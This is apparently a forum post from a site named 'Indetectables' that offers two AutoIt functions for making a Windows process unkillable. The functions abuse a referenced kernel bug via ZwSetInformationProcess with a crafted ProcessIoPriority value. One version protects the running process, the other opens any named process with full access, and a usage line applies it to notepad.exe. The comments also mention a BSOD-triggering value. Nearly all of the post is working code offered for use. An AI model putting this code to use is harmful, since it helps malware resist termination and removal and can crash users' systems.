Indetectables

Código: Seleccionar todo

; ========================================================================================
; Non-Killable Process
; Author AutoIt : M3
; Author VB6 : Pink
; Author Delphi : Metal_Kingdom
; Credits : waleedassar
; Reference : http://waleedassar.blogspot.com/2013/02/kernel-bug-1-processiopriority.html
; Usage : sNonKillableProcess()
; Enjoy
; ========================================================================================


Func sNonKillableProcess()

Local $sProcessHandle , $sSignedvalue , $ProcessIoPriority , $sProcessInformationLength , $sStruct

If Not @Compiled Then Exit

$sProcessHandle = DllCall("kernel32.dll", "handle", "GetCurrentProcess")

$sSignedvalue = 0x8000F129 ;0xFFFFFFFF (BSOD not work on Win7 x86 )

$ProcessIoPriority = 0x21

$sProcessInformationLength = 0x4

$sStruct = DLLStructCreate("Byte[4]")

DllStructSetData($sStruct, 1, $sSignedvalue)

$sRet = DllCall ("ntdll.dll" , "none" , "ZwSetInformationProcess" , "int" , $sProcessHandle[0] , "int" , _
$ProcessIoPriority , "int" , DllStructGetPtr($sStruct) , "int" , $sProcessInformationLength)

EndFunc

Código: Seleccionar todo

Func sNonKillableProcess($sProcess)

Local $sProcessHandle , $sPid , $sAccess , $sSignedvalue , $ProcessIoPriority , $sProcessInformationLength , $sStruct

If Not @Compiled Then Exit

$sPid = ProcessExists($sProcess)

if Not $sPid Then Exit

$sAccess = 0x001F0FFF

$sProcessHandle  =  DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $sAccess, "bool", True, "dword", $sPid)

$sSignedvalue = 0x8000F129 ;0xFFFFFFFF (BSOD not work on Win7 x86 )

$ProcessIoPriority = 0x21

$sProcessInformationLength = 0x4

$sStruct = DLLStructCreate("Byte[4]")

DllStructSetData($sStruct, 1, $sSignedvalue)

$sRet = DllCall ("ntdll.dll" , "none" , "ZwSetInformationProcess" , "int" , $sProcessHandle[0]  , "int" , _
$ProcessIoPriority , "int" , DllStructGetPtr($sStruct) , "int" , $sProcessInformationLength)

EndFunc

Código: Seleccionar todo

sNonKillableProcess('notepad.exe')